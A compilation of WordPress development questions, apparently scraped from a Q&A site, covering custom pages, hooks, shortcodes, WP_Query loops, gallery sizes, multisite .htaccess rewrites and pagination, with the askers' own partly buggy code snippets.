Is there any way to hide page from dashboard (all pages list) OR navbar from plugin function?

I am trying to include a template from plugin which required to display some of my custom information's. I wrote function to insert a page and included the template. It's working for me but once i created the page it automatically displaying in navbar menu list(currently using thwentythirteen theme). So actually i don't want to display my custom page from NAVBAR (menu-list) as well as from Dashboard all pages list (if possible) too. There is any way to get over from this situations ? Here is my code:               function create_user_content_page() {          $post_id = -1;          // Setup custom vars     $author_id = 1;     $slug = 'user-data-content';     $title = 'Data Content';          // Check if page exists, if not create it     if ( null == get_page_by_title( $title )) {              $dataContent_page = array(                 'comment_status'   => 'closed',                 'ping_status'      => 'closed',                 'post_author'      => $author_id,                 'post_name'        => $slug,                 'post_title'       => $title,                 'post_status'      => 'private',                 'post_type'        => 'page'         );              $post_id = wp_insert_post( $dataContent_page );                   if ( !$post_id ) {                      wp_die( 'Error creating template page' );              } else {                      update_post_meta( $post_id, '_wp_page_template', 'content-template.php' );              }       } // end check if          }               add_action( 'template_include', 'content_template' );          function content_template( $template ) {     global $post;                if ($post->post_type == 'user-data-content')  {              $template = dirname( __FILE__ ). '/content-template.php';       }       return $template;          }


Why am I getting a "Call to member function format() on a non-object" error?

I am trying to add a hook to post saving using WP Frontend User When the form saves and the post is created within the "save_post" function I am trying to find the value of a custom field "cf_end_date" and assign it to something else I am not able to grab the custom field "cf_end_date" value fast enough. If I go to the back end and edit an existing post then the function works fine. Here is my code in functions.php               // assign post expiration     function acf_set_expiry($post_id){                      $date = get_post_meta($post_id, 'cf_end_date', true);         }               //modified update_post_meta function     function expirationdate_update_post_meta_acf($id, $date) {         // don't run the echo if this is an auto save              if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE )             return;              // don't run the echo if the function is called for saving revision.         $posttype = get_post_type($id);         if ( $posttype == 'revision' )         {             return;         } else {                 //'M j, Y' is the format my ACF date field is outputting - can be differ from each setup!             $formatted_date = DateTime::createFromFormat('m-d-Y', $date);                  $month   = intval($formatted_date->format('m'));             $day     = intval($formatted_date->format('d'));             $year    = intval($formatted_date->format('y'));                  //I am not using time in my ACF field, so I am setting it manually to the end of the day.             $hour    = 23;             $minute  = 59;                  $opts = array();             $ts = get_gmt_from_date("$year-$month-$day $hour:$minute:0",'U');                  // Schedule/Update Expiration             //$opts['expireType'] = 'draft';             $opts['id'] = $id;                  _scheduleExpiratorEvent($id,$ts,$opts);         }     }          add_action('save_post', 'acf_set_expiry',100);


add_image_size creating lots of images (of various sizes)

I wonder if its a good idea to use `add_image_size` or is it just a convinence feature. I say this as I think `add_image_size` creates images of various sizes regardless of what the usage if the image maybe eg. I may want a thumbnail of 500x200 in my portfolio pages only. but WordPress will create images of 500x200 for all images I upload right? If I have a bunch of `add_image_size`, it will clutter up my uploads with useless images I will never use? Is there a better solution? Resize before upload, maybe alittle troublesome?


WordPress adds br in between my shortcode

I am having a problem where my markup is rendered incorrectly (more space because of `<br />`) as WordPress adds `<br />` everywhere theres a line break eg.               [x]       [y]Hello world[/y]       [y]A test[/y]     [/x]      In the handler for `x` the `$content` looks like
     [y]Hello world[/y]
     [y]A test[/y]
      Am I suppose to strip out all the line breaks? **UPDATE** I notice that no line breaks               [x][y]Photoshop[/y][y]Notepad++[/y][/x]      `[y]Notepad++[/y]` will not be rendered as a shortcode. I must have a space like               [x][y]Photoshop[/y] [y]Notepad++[/y][/x]                        ^      Isit?


WP_Query by Category Name

Hi I am using some code to display posts in a slider on a page, and at the top I have some code to filter it using WP_Query. Here it is, not sure what is wrong:               <?php     /**      * Featured Content 2      *      */          $args = array(         'post_type' => 'iv_post_type',         'category'    => 'commitment',     );     $loop = new WP_Query( $args );           if ( $loop->have_posts() ) : ?>

                               <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                                 <?php if(has_post_thumbnail()) :?>                                     <a href="<?php the_permalink(); ?>"><?php the_post_thumbnail( 'bcc-video-medium' ); ?>                                     <a href="<?php the_permalink(); ?>"><?php the_title(); ?>                                     <?php the_excerpt(); ?>                                  <?php else :?>                                      <?php endif;?>

                                 ← Next Photo                                 → Previous Photo
                          <?php endwhile; ?>

                  <?php wp_nav_menu( array( 'theme_location' => 'bcc-video-menu' ) ); ?>
Choose a category from above to view our different articles.

                          <?php $slidecount = 1;                          while ( $loop->have_posts() ) : $loop->the_post(); ?>                              <div class="slide-thumbs-single <?php echo ( $slidecount == -1 ) ? 'last' : ''; ?>">                             <?php if(has_post_thumbnail()) :?>                                 <?php the_post_thumbnail( 'bcc-video-thumb' ); ?>                             <?php else :?>                                  <?php endif;?>
                              <?php $slidecount++; ?>                          <?php endwhile; ?>

               <?php endif; ?>


How to change the target size of images clicked on in Wordpress standard gallery

I want to use the standard Wordpress gallery without using other plugins and stick to the gallery shortcode. So, I know I can change the size of the thumbnails, that are shown in the gallery grid with for example `[gallery size="xyz" link="file"]`. But I am not satisfied with Wordpress opening the biggest file then, when clicking on one of the thumbnails and I would like to have stated a different size, which I have created upfront by using `add_image_size( 'galleryimage', 900, 900 );` in my child's functions.php, of course. Here is the code I am using for generating the galleries on static pages:               <?php          $people_attachments = new WP_Query( array(     'post_type' => 'attachment',     'post_status' => 'inherit',     'posts_per_page' => 0,     'category_name' => 'people', // note: use category SLUG     ) );          $people_id_array = array();          if ( $people_attachments->have_posts() ) : while ( $people_attachments->have_posts() ) : $people_attachments->the_post();          $people_id_array[] = get_the_ID();          endwhile; endif;     // Important!     wp_reset_postdata();          $people_ids = implode( ',', $people_id_array );          echo do_shortcode( '[gallery link="file" columns="5" order="DESC" orderby="ID" include="' . $people_ids . '"]' );          ?>      How do I add the target image size (size of linked image to be shown, when clicked)?


How can I filter Microsoft Word gunk from pasted content?

I have some users who are posting to a group blog and are able to cut-and- paste but their pastes include things like:               <!– /* Font Definitions */ @font-face {font-family:”Cambria Math”; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-520092929 1073786111 9 0 415 0;} @font-face {font-family:”Trebuchet MS”; panose-1:2 11 6 3 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:647 0 0 0 159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:”"; margin-top:0in; margin-right:0in; margin-bottom:10.0pt; margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Trebuchet MS”,”sans-serif”; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-bidi-font-family:”Times New Roman”; mso-bidi-theme-font:minor-bidi; color:black;} p {mso-style-noshow:yes; mso-style-priority:99; mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”,”serif”; mso-fareast-font-family:”Times New Roman”;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-size:12.0pt; mso-ansi-font-size:12.0pt; mso-bidi-font-size:12.0pt; mso-ascii-font-family:”Trebuchet MS”; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:”Trebuchet MS”; mso-bidi-font-family:”Times New Roman”; mso-bidi-theme-font:minor-bidi; color:black;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} –>          /* Style Definitions */     table.MsoNormalTable     {mso-style-name:”Table Normal”;     mso-tstyle-rowband-size:0;     mso-tstyle-colband-size:0;     mso-style-noshow:yes;     mso-style-priority:99;     mso-style-qformat:yes;     mso-style-parent:”";     mso-padding-alt:0in 5.4pt 0in 5.4pt;     mso-para-margin-top:0in;     mso-para-margin-right:0in;     mso-para-margin-bottom:10.0pt;     mso-para-margin-left:0in;     line-height:115%;     mso-pagination:widow-orphan;     font-size:11.0pt;     font-family:”Calibri”,”sans-serif”;     mso-ascii-font-family:Calibri;     mso-ascii-theme-font:minor-latin;     mso-fareast-font-family:”Times New Roman”;     mso-fareast-theme-font:minor-fareast;     mso-hansi-font-family:Calibri;     mso-hansi-theme-font:minor-latin;     mso-bidi-font-family:”Times New Roman”;     mso-bidi-theme-font:minor-bidi;}      What can I do to filter out code like this automatically?


How do I publish portfolio items with a future date?

I am trying to publish portfolio items with a future date (using for an event based website) and I can't see to find any plugins or anything. I have seen them for generic posts, such as "The Future is Now" and things like that. I don't know wordpress well enough to code my own solution to this :/ Does anyone know what I could do? Cheers **EDIT** - I mean I want it published now, but displaying online with a future date.


List categories for author: list_categories function inside list_authors function

I am trying to make a "contributors" page where there is a list of authors and the categories they have posted in. I am able to use this code to do this for a single author on a single post page:                   <?php         $cat_array = array();         $args=array(          'author' => get_the_author_meta('id'),          'showposts'=>-1,          'caller_get_posts'=>1         );         $author_posts = get_posts($args);         if( $author_posts ) {           foreach ($author_posts as $author_post ) {             foreach(get_the_category($author_post->ID) as $category) {               $cat_array[$category->term_id] =  $category->term_id;             }           }         }              $cat_ids = implode(',', $cat_array);         $output = strtr( wp_list_categories( 'include='.$cat_ids.'&title_li=&style=none&echo=0' ), array( '
' => ' / ' ) );         echo preg_replace( '@\s/\s\n$@', '', $output );         ?>      But when I try and plug that bit into my list authors function (so that each author in the list has their respective categories displayed) The list of categories displays at the top of the page (not in the div where I put the code) and in the div where it's supposed to display, it simply says "array". I think this is a question of syntax as I am kind of a PHP newb. Here is the list authors function:               //My List Authors Function     function my_list_authors($args = '') {         global $wpdb;         global $wp_query;     $author = get_query_var('author');     function authorCats() {     $categories = $wpdb->get_results("         SELECT DISTINCT(terms.term_id) as ID, terms.name, terms.slug, tax.description         FROM $wpdb->posts as posts         LEFT JOIN $wpdb->term_relationships as relationships ON posts.ID = relationships.object_ID         LEFT JOIN $wpdb->term_taxonomy as tax ON relationships.term_taxonomy_id = tax.term_taxonomy_id         LEFT JOIN $wpdb->terms as terms ON tax.term_id = terms.term_id         WHERE 1=1 AND (             posts.post_status = 'publish' AND             posts.post_author = '$author' AND             tax.taxonomy = 'category' )         ORDER BY terms.name ASC     ");     foreach($categories as $category) :     echo '
             ID ).'" title="'.$category->name.'">                 '.$category->name.'
';     endforeach;     }         $defaults = array(             'optioncount' => false, 'exclude_admin' => true,             'show_fullname' => false, 'hide_empty' => true,             'feed' => '', 'feed_image' => '', 'feed_type' => '', 'echo' => true,             'style' => 'list', 'html' => true         );              $r = wp_parse_args( $args, $defaults );         extract($r, EXTR_SKIP);         $return = '';              /** @todo Move select to get_authors(). */         $users = get_users_of_blog();         $author_ids = array();         foreach ( (array) $users as $user )             $author_ids[] = $user->user_id;         if ( count($author_ids) > 0  ) {             $author_ids = implode(',', $author_ids );             $authors = $wpdb->get_results( "SELECT ID, user_nicename from $wpdb->users WHERE ID IN($author_ids) " . ($exclude_admin ? "AND user_login <> 'admin' " : '') . "ORDER BY display_name" );         } else {             $authors = array();         }              $author_count = array();         foreach ( (array) $wpdb->get_results("SELECT DISTINCT post_author, COUNT(ID) AS count FROM $wpdb->posts WHERE post_type = 'post' AND " . get_private_posts_cap_sql( 'post' ) . " GROUP BY post_author") as $row )             $author_count[$row->post_author] = $row->count;              foreach ( (array) $authors as $author ) {                  $link = '';                  $author = get_userdata( $author->ID );             $posts = (isset($author_count[$author->ID])) ? $author_count[$author->ID] : 0;             $name = $author->display_name;                  if ( $show_fullname && ($author->first_name != '' && $author->last_name != '') )                 $name = "$author->first_name $author->last_name";                  if( !$html ) {                 if ( $posts == 0 ) {                     if ( ! $hide_empty )                         $return .= $name . ', ';                 } else                     $return .= $name . ', ';                      // No need to go further to process HTML.                 continue;             }                  $authorAvatar = get_avatar($author->ID);                  if ( !($posts == 0 && $hide_empty) && 'list' == $style )                 $return .= '
                     '.$authorAvatar.'

                             Founder & Editor:	                             '.$author->nickname.'

                             Location:	                             '. $author->location .'

                             Industry:	                             Advertising
';                 if ( $author->twitter != '' ) {                 $return .=                          '
                             Website:	                             '.$author->user_url.'

                             Twitter:	                             '.$author->twitter.'
';                 } else {                 $return .= '
                             Website:	                             '.$author->user_url.'
';                 }                 $return .= '

Bio

Thinking About

Articles

Reactions

'                                 .$author->description.                                   '

';                 $return .=      $cat_array = array();     $args=array(      'author' => get_the_author_meta('id'),      'showposts'=>-1,      'caller_get_posts'=>1     );     $author_posts = get_posts($args);     if( $author_posts ) {       foreach ($author_posts as $author_post ) {         foreach(get_the_category($author_post->ID) as $category) {           $cat_array[$category->term_id] =  $category->term_id;         }       }     }          $cat_ids = implode(',', $cat_array);     $output = strtr( wp_list_categories( 'include='.$cat_ids.'&title_li=&style=none&echo=0' ), array( '
' => ' / ' ) );     echo preg_replace( '@\s/\s\n$@', '', $output );                 $return .=          '

';         }              $return = trim($return, ', ');              if ( ! $echo )             return $return;         echo $return;     }      Any insight or ideas much appreciated, thanks!


How to include the 'current-menu-ancestor' class on a custom post type menu in Wordpress?

I need the Wordpress menu to include the 'current-menu-ancestor' class to reflect that site is currently in the recipe section. Supposing I have a recipe custom post type. I have the following code in my functions.php but it's not working:               function add_active_item_classes($classes = array(), $menu_item = false){          if ( get_post_type() == 'recipe' && $menu_item->title == 'Recipes') {     $classes[] = 'current-menu-ancestor';          return $menuclasses;     }     }      Also I don't know what filter hooks I will use to have this effect? Thanks for your suggestion and assistance.


Adding an option to a shortcode

I'm trying to write a shortcode that will allow the option to display all users or show a singular user, defined by a user id or "nicename". The shortcode would look something like this: `[staff display="all"]` or `[staff display="single" user="3"]` I have a standard shortcode working that displays all users, but I'd like to adapt it for the options in the above examples. I'm not sure the best route to integrate it all together. Here's my shortcode function as it stands now, which works for `[staff]`:               function list_users(){          $args = array(             'orderby' => 'ID',             'order' => 'ASC'         );         $users = get_users($args);              echo '
';             foreach( $users as $user ){              $user_info = get_userdata($user->ID);                 echo '
';                 echo 'user_nicename.'" class="staff-image">';                 echo mt_profile_img( $user->ID, array('size' => 'Services',));                 echo '';                 echo '
user_nicename.'" class="staff-name">
'.$user->display_name.'
';                 echo '
';                 echo the_field('certifications','user_'.$user->ID);                 echo '
';                 echo '
';                 echo the_field('short_bio','user_'.$user->ID);                 echo '
';                 echo 'user_nicename.'" class="more-staff-bio">Read more from ' . $user_info->user_firstname . '

';                 echo '
';             }         echo '
';          }     add_shortcode('staff', 'list_users');      **EDIT** Based on the suggestions from an answer below, here are my new functions               //* Shortcode for getting users     function display_all_users(){          $args = array(             'orderby' => 'ID',             'order' => 'ASC'         );         $users = get_users($args);              echo '
';             foreach( $users as $user ){              $user_info = get_userdata($user->ID);                 echo '
';                 echo 'user_nicename.'" class="staff-image">';                 echo mt_profile_img( $user->ID, array('size' => 'Services',));                 echo '';                 echo '
user_nicename.'" class="staff-name">
'.$user->display_name.'
';                 echo '
';                 echo the_field('certifications','user_'.$user->ID);                 echo '
';                 echo '
';                 echo the_field('short_bio','user_'.$user->ID);                 echo '
';                 echo 'user_nicename.'" class="more-staff-bio">Read more from ' . $user_info->user_firstname . '

';                 echo '
';             }         echo '
';     }               function list_of_users( $atts ){         // extract and set defaults         extract( shorcode_atts( array(             'display' => 'all',             'user' => 30         ), $atts, 'staff' ) );              // now vary your output based on $display att         switch ( $display ) {                  case 'all':                 $content = display_all_users();                 break;                  case 'single':                 $content = display_single_user( (int) $user );                 break;                  default:                 break;         }              // give the shortcode something to output         return $content;     }     add_shortcode('staff', 'list_of_users');      **EDIT 2** I got it to work, however, the output of my `single` function is dumping the contents outside of the div wraps that its supposed to be in.               //* Shortcode for getting users     function list_of_users( $atts = array(), $content = null ){         extract(shortcode_atts(             array(                 'display' => 'all',                 'user' => '30'             ),             $atts         ));              switch ( $display ) {                  case 'all':                 $content = display_all_users();                 break;                  case 'single':                 $content = display_single_user( (int) $user );                 break;                  default:                 break;         }              return $all;     }     add_shortcode('staff', 'list_of_users');          function display_all_users(){          $args = array(             'orderby' => 'ID',             'order' => 'ASC'         );         $users = get_users($args);              echo '
';             foreach( $users as $user ){              $user_info = get_userdata($user->ID);                 echo '
';                 echo 'user_nicename.'" class="staff-image">';                 echo mt_profile_img( $user->ID, array('size' => 'Services',));                 echo '';                 echo '
user_nicename.'" class="staff-name">
'.$user->display_name.'
';                 echo '
';                 echo the_field('certifications','user_'.$user->ID);                 echo '
';                 echo '
';                 echo the_field('short_bio','user_'.$user->ID);                 echo '
';                 echo 'user_nicename.'" class="more-staff-bio">Read more from ' . $user_info->user_firstname . '

';                 echo '
';             }         echo '
';     }          function display_single_user(){         extract(shortcode_atts(             array(                 'display' => 'all',                 'user' => '30'             ),             $atts         ));              $output = mt_profile_img( $user, array('size' => 'Services',)).the_field('short_bio','user_'.$user);     }      **EDIT #3** I have the output working and "buffering to the right area. But I noticed that the variable `user` used in the shortcode does not get passed to the `single` function.                   //* Shortcode for getting users     function list_of_users( $atts = array(), $content = null ){         extract(shortcode_atts(             array(                 'display' => 'all',                 'user' => '30'             ),             $atts         ));         ob_start();             switch ( $display ) {                 case 'all':                     $content = display_all_users();                     break;                 case 'single':                     $content = display_single_user( (int) $user );                     break;                 default:                     break;             }              $output = ob_get_clean();              return $all.$output;     }     add_shortcode('staff', 'list_of_users');          function display_all_users(){          $args = array(             'orderby' => 'ID',             'order' => 'ASC'         );         $users = get_users($args);              echo '
';             foreach( $users as $user ){              $user_info = get_userdata($user->ID);                 echo '
';                 echo 'user_nicename.'" class="staff-image">';                 echo mt_profile_img( $user->ID, array('size' => '250x250',));                 echo '';                 echo '
user_nicename.'" class="staff-name">
'.$user->display_name.'
';                 echo '
';                 echo the_field('certifications','user_'.$user->ID);                 echo '
';                 echo '
';                 echo the_field('short_bio','user_'.$user->ID);                 echo '
';                 echo 'user_nicename.'" class="more-staff-bio">Read more from ' . $user_info->user_firstname . '

';                 echo '
';             }         echo '
';     }          function display_single_user($args){         $args = extract(shortcode_atts(             array(                 'display' => 'all',                 'user' => '30'             ),             $atts, 'staff'         ));              echo'
';         echo mt_profile_img( $user, array('size' => '175x175',));         echo '

';         echo the_field('short_bio','user_'.$user);         echo'
Read more staff bios';     }      _I'm still new to writing functions, so forgive me if my syntax isn't the most optimal for its use._


Wordpress adding in site URL to header links

A little information: I am developing a one page theme that uses posts as sections on the main page. I have created code that allows users to add a menu item in the post page from a meta box when they create a section and it then creates a special ID for the section and adds it to the post and also creates a menu link for each section that has been given a name. The reason for this is because I plan on having the menu link move directly to that section when it is clicked. So here is the dilemma: My code loops through each section and adds only the ones that have been given a custom name to the menu, just like it should. The problem though is that it is adding the website URL into the header link along with the url it has been given. This is how it **should** appear: #SectionTwo This is how it appears: mysite.com/#SectionTwo I am not sure what exactly is adding this, I don't think it is my code for this but I will include it anyways. Does anyone have any ideas to what the issue could be?
         <?php             $lastposts = get_posts('numberposts=5&orderby=rand&cat=-52');             foreach($lastposts as $post) :             setup_postdata($post); ?>                  <li<?php if ( $post->ID == $wp_query->post->ID ) { echo ' class="current"'; } else {} ?>>               <?php if(!esc_attr( get_post_meta($post->ID, 'newtheme_section_id', true) == NULL) ) : ?>              <a href="#<?php echo esc_attr( get_post_meta($post->ID, 'newtheme_section_id', true) ); ?>"><?php echo esc_attr( get_post_meta($post->ID, 'newtheme_section_id', true) ); ?>
     <?php endif; ?>              <?php endforeach; ?>


How do I run through a Wordpress loop called from a filter function?

So I'm trying to populate an Advanced Custom Fields selectbox with a nice complicated array based off some post data. I've been trying to do this by doing a custom query and loop through the returned posts. Unfortunately, the loop seems to return diddly squat. On my test install, it should be returning 10 posts. However, the `var_dump` in the below statement will return `NULL` 10 times. Setting `get_post($post)` inside the loop will return the first result for every instance. Weirdly, `var_dump`ing `$hw_selectbox_query` will return a seemingly correct object, so it's definitely an issue with the actual loop itself not defining the `$post` object. I could run a `foreach` loop through the returned query, but that doesn't feel like the right way to do it. FWIW, the function runs perfectly when placed on a blank front-end page.               function populate_selectbox_field( $field ){              $field['choices'] = array();              $hw_selectbox_args = array(             post_type => 'custom_post_type',             orderby => 'title',             order => 'ASC',             posts_per_page => -1         );              $hw_selectbox_query = new WP_Query($hw_selectbox_args);              if ( $hw_selectbox_query->have_posts() ) : while ( $hw_selectbox_query->have_posts() ) : $hw_selectbox_query->the_post();                  var_dump($post);                  $field['choices'][$post->ID] = $post->post_title                  // Do more complicated stuff in real life              endwhile; endif;              return $field;     }          add_filter('acf/load_field/name=destination_node', 'populate_destination_node_field');


Querying Term Posts in Loop

I'm trying to show my CPT Category along with any posts associated with it below the title. I have the first loop fine:               <?php $cats = get_categories(array('taxonomy' => 'custtax', 'orderby' => 'term_group'));          if(!empty($cats)) :              foreach($cats as $cat) : ?>                 <a href="<?php echo get_category_link($cat->term_id); ?>"><?php echo $cat->name; ?>
                 <?php wp_reset_query(); ?>                 <?php $cat_posts = new WP_Query(array('post_type' => 'custcpt', 'taxonomy' => 'custtax', 'terms' => $cat->slug, 'order' => 'ASC'));                 foreach($cat_posts as $cat_post) : ?>                              <?php get_the_post_thumbnail($cat_post->ID, 'thumbnail'); ?>
                         <a href="<?php get_permalink($cat_post->ID); ?>"><?php get_the_title($cat_post->ID); ?>

                      <?php endforeach; ?>             <?php endforeach; ?>         <?php endif; ?>      But my second loop queries all my posts instead of just the ones from that category. I've tried `get_posts()` and instead of pulling all posts it didn't pull any. I'm not sure if `'category'` in the codex is expecting a string, slug, or ID, but I've tried all 3. Anyway how do I edit my query to only pull posts from that certain category?


Add something to beginning of content with add_action('the_content')?

I'm using add_action('the_content', 'myFunction', 10) to append data to the end of the content. How can I place content at the beginning of the content?


How to control what jQuery version to include, with wp_enqueue_script

I'm using a script that is based on jQuery, so I'm not enqueue-ing jQuery directly, but via passing it in the array of dependent scripts:                wp_enqueue_script("jquery-plugin-name",'http://hostname.il/blogname/wp-content/themes/twentyten/js/jquery-plugin-name.js', array('jquery'), '1');      This is loading jQuery v1.4.4, and it weighs 76kb, which seems very heavy, although the file looks compressed. I have 2 questions:   1. Is there I way in which I can make it load the latest version of jQuery?   2. How can I make sure that the loaded file if minified?


Out of memory errors - anon-rss or file-rss?

Can anyone help me figure out both which plugin might be causing this error and how I fix it? [4405235.617144] Out of memory: kill process 1450 (apache2) score 75568 or a child   [4405235.617155] Killed process 1450 (apache2) vsz:302272kB, anon-rss:4304kB, file-rss:284kB That's the last one, but there are hundreds of errors like that before I rebooted... I'm running WP 3.0.1 on Rackspace Cloud I figure it has to be something that is either pushing or pulling an RSS feed, so here are the most-likely contenders AddToAny FD Feedburner Feedlist FT Facepress II (which doesn't work anyway so I'll deactivate and save that for another question) Intense Debate Postalicious If there's a way to figure it out without taking them all down one at a time, I'd appreciate the help. I pull in content from my delicious and posterous feeds and push it out to RSS, so I'd lose a lot of functionality taking them down. Thanks in advance.


Which file/template is in charge of taxonomies for custom post types?

I have set up a CPT, lets say "Movies".               'rewrite'   => array( 'slug'=>'movies', 'with_front'=>FALSE )      I added a taxonomy "Genre".               'rewrite'   => array( 'slug'=>'movies/genre', 'with_front'=>FALSE )      I also tried               'rewrite'   => array( 'slug'=>'genre', 'with_front'=>TRUE )          register_taxonomy( 'category_movie', 'movie', $args );      Everything works, but, when I want to browse some movies e.g. in the category/taxonomy horror it does not work. I assumed the file taxonomy-category_movie.php and if not then taxonomy.php OR category.php OR tag.php BUT NO! WP always falls back to the index.php file. So I though I will check what WP actually is doing and added               if ( is_home() )     {     echo "
IS HOME";     }          if ( is_single() )     {      echo "
IS SINGLE";     }          if ( is_singular() )     {      echo "
IS SINGULAR";     }          if ( is_front_page() )     {      echo "
IS FRONT PAGE";     }          if ( is_page() )     {      echo "
IS PAGE";     }          if ( is_category() )     {      echo "
IS CATEGORY";     }          if ( is_tag() )     {      echo "
IS TAG";     }          if ( is_tax() )     {      echo "
IS TAX";     }      but none of the messages made it into the browser.... Hopefully somebody knows the answer!!


Validating Custom Meta Box Values & Required Fields

Something which I have never seen covered is the best way to validate that specific form fields are filled out correctly for custom post type meta boxes. I am looking to get expert opinions on how best to validate custom fields for any metaboxes that one might create. My interest are to:   * ensure field validation takes place before the post is published/updated   * utilizing a class/code which does not conflict with other wordpress javascript   * allows you to define specific fields as required while others could be optional   * validate fields based on customizable rules including regex for things like email format   * control the visual display of any errors/notices Thanks in advance!


Whitelisting Commenters

I have a blog that gets the usual spam, which Akismet is pretty good with. Not good enough for me to turn off moderation just yet. I am wondering is there a way to "whitelist" a list of readers so their comments can skip moderation and just get posted?


Two column layout with alphabetical ordering

I am trying to output a list of stockists in two columns from left to right, sorted alphabetically: A | B C | D E | F G | H Currently, the code below is sorting half the posts alphabeticly and then starting half way through with the rest alphabeticly: A | C E | G B | D F | H Any idea on where I am going wrong?               <?php      query_posts(  array( 'order' => 'ASC' , 'orderby' => 'title' , 'posts_per_page' => -1 , 'post_type' => 'stockist_directory', 'regions' => 'metropolitan' ) );     if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) == 0) : $wp_query->next_post(); else : the_post(); ?>

<?php the_title(); ?>
       <?php the_field('shop_address'); ?>
       <?php the_field('suburb'); ?>, <?php the_field('postcode'); ?>
       Phone: <?php the_field('phone_number'); ?>
       <a href="<?php the_field('website_address'); ?>">Website
          <?php endif; endwhile; else: ?>     <?php endif; ?>          <?php $i = 0; rewind_posts(); ?>          <?php if (have_posts()) : while(have_posts()) : $i++; if(($i % 2) !== 0) : $wp_query->next_post(); else : the_post(); ?>

<?php the_title(); ?>
       <?php the_field('shop_address'); ?>
       <?php the_field('suburb'); ?>, <?php the_field('postcode'); ?>
       Phone: <?php the_field('phone_number'); ?>
       <a href="<?php the_field('website_address'); ?>">Website
     <?php endif; endwhile; else: ?>          <?php endif; ?>


.htaccess on multisite and roots theme?

i install the Roots Theme and then convert my installation to multisite... so that wordpress add some code into the previous .htaccess with root settings. My .htaccess now looks like this and i'm becoming something redirection errors Is there a conflict into my .htaccess?               ##### Multisite Htaccess #####     RewriteEngine On     RewriteBase /     RewriteRule ^index\.php$ - [L]          # uploaded files     RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]          # add a trailing slash to /wp-admin     RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]          RewriteCond %{REQUEST_FILENAME} -f [OR]     RewriteCond %{REQUEST_FILENAME} -d     RewriteRule ^ - [L]     RewriteRule  ^[_0-9a-zA-Z-]+/(wp-(content|admin|includes).*) $1 [L]     RewriteRule  ^[_0-9a-zA-Z-]+/(.*\.php)$ $1 [L]     RewriteRule . index.php [L]          ##### Multisite Htaccess end ####               # BEGIN WordPress     <IfModule mod_rewrite.c>      RewriteEngine On         RewriteBase /      RewriteRule ^index\.php$ - [L]      RewriteRule ^css/(.*) /wp-content/themes/roots/css/$1 [QSA,L]      RewriteRule ^js/(.*) /wp-content/themes/roots/js/$1 [QSA,L]      RewriteRule ^img/(.*) /wp-content/themes/roots/img/$1 [QSA,L]      RewriteRule ^plugins/(.*) /wp-content/plugins/$1 [QSA,L]      RewriteCond %{REQUEST_FILENAME} !-f      RewriteCond %{REQUEST_FILENAME} !-d      RewriteRule . /index.php [L]     </IfModule>          # END WordPress


add_rewrite_rule() not playing nice with child pages

function my_add_rewrite_rules() {            add_rewrite_rule('testing/([^/]+)?$', 'index.php?pagename=testing&event_slug=$matches[1]', 'top' );           }     add_action( 'init', 'my_add_rewrite_rules' );          function add_query_vars( $query_vars ) {       $query_vars[] = 'event_slug';       return $query_vars;     }     add_filter( 'query_vars', 'add_query_vars' );         _/testing/foo_ - Works, shows foo If I have **testing** set to no parent, the rewrite works and everything is good to go. If I set **testing** to a child of, lets say **about** , and update the add_rewrite_rule to..               add_rewrite_rule('about/testing/([^/]+)?$', 'index.php?pagename=testing&event_slug=$matches[1]', 'top' );       ... it loads about/testing but strips out my custom query_var and displays the page normally. _/about/testing/foo_ - Loads page, doesn't show foo


Search page pagination - unable to fix

I apologize for posting this as I know it's a common question but I haven't been able to crack it on my own. My search page works just fine other than the pagination (when you click on a successive page it just reloads the first page of results) Check it out (scroll down to pagination, below the posts): http://dthudson.com/ccr?s=hi Here is my code:                                        <?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;     $args = array(         'posts_per_page' => '4',         'paged' => $paged     );          $my_query = new WP_Query( $args );               if ($my_query->have_posts()) : while ($my_query->have_posts()) : $my_query->the_post();?>

<a id="title-color" href="<?php the_permalink(); ?>"><?php the_title(); ?>

                             <?php the_content(); ?>

                          <?php endwhile; else: ?>

<?php _e('Sorry, Search returned no results.', 'magazine'); ?>
                     <?php endif; ?>                                                                    <?php                                     global $wp_query;                                            $total_pages = $wp_query->max_num_pages;                                            if ($total_pages > 1){                                              $current_page = max(1, get_query_var('paged'));                                              echo paginate_links(array(                                             'base' => get_pagenum_link(1) . '%_%',                                             'format' => 'page/%#%',                                             'current' => $current_page,                                             'total' => $total_pages,                                            'prev_next'    => False,                                           'type' => 'list',                                          ));                                       }                                       ?>


Hook for writing text string after footer scripts

I'm looking to insert a string of JavaScript variables AFTER the in_footer enqueued scripts. When I write the string via the wp_footer hook, they occur before the in_footer scripts. Is there another hook I can tie into that happens after those enqueued scripts have been written.


What is the default template for a category/taxonomy query?

I am trying to figure out what would be the default template used for this URL:               http://example.com/categories/16/search_type/and/order/default/      It does not appear to be the `category.php` or `archive.php` My other issue is the first 2 results of the category query shows the full post instead of the title. Any assistance would be greatly appreciated.


How can I trust switch_to_blog()?

